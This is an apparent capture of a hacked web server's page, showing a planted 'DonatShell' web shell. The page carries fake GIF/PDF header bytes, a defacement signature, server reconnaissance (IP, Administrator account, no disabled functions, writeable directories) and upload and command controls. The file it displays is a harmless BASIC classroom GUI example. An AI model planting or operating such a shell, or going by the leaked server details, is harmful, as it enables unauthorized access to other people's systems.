GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.04.11/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794/ExampleFiles/2007.04.11/p265.bas
nomainwin
gosub [setup.main.Window]
wait

[setup.main.Window]

    '-----Begin code for #main

    WindowWidth = 525
    WindowHeight = 610
    UpperLeftX=int((DisplayWidth-WindowWidth)/2)
    UpperLeftY=int((DisplayHeight-WindowHeight)/2)


    '-----Begin GUI objects code

    checkbox #main.checkbox1, "CheckBox 1", [checkbox1Set], [checkbox1Reset], 285,  97,  96,  25
    checkbox #main.checkbox2, "CheckBox 2", [checkbox2Set], [checkbox2Reset], 285, 157,  96,  25
    button #main.button1,"Button  ",[button1Click], UL, 265, 232, 105,  25

    '-----End GUI objects code

    open "untitled" for window as #main
    print #main, "trapclose [quit]"
    print #main, "font ms_sans_serif 10"

    '----Begin code for tooltips

    'Struct for version info,
    struct winOSver,_
    dwOSVersionInfoSize as long,_
    dwMajorVersion as long,_
    dwMinorVersion as long,_
    dwBuildNumber as long,_
    dwPlatformId as long,_
    szCSDVersion as char[128]

    'get the size (len) of the struct to input to the call
    winOSver.dwOSVersionInfoSize.struct=len(winOSver.struct)

    'do the call to fill the struct
    calldll #kernel32,"GetVersionExA",_
    winOSver as struct,_
    result as void
    'check the operating system version for enabling tooltips
    if winOSver.dwPlatformId.struct <> 1 Then VERSION.FLAG = 1

    'hParent = hwnd(#main)
    'hTip=CreateTooltip(hParent)

    '----Add tooltips for controls

    if VERSION.FLAG = 0 then
        'Call AddToolTip Hwnd(#main.checkbox1) , hTip , "Ooga"
        'Call AddToolTip Hwnd(#main.checkbox2) , hTip , " Booga"
    end if

    '----End tooltip code
return

[button1Click]
    notice "This button is useless!"
    wait

[checkbox1Set]
    wait

[checkbox1Reset]
    wait

[checkbox2Set]
    wait

[checkbox2Reset]
    wait

[quit]
confirm "Are you sure you want to quit?"; quit$
if quit$ = "no" then wait
close#main
end

Anon7 - 2022
AnonSec Team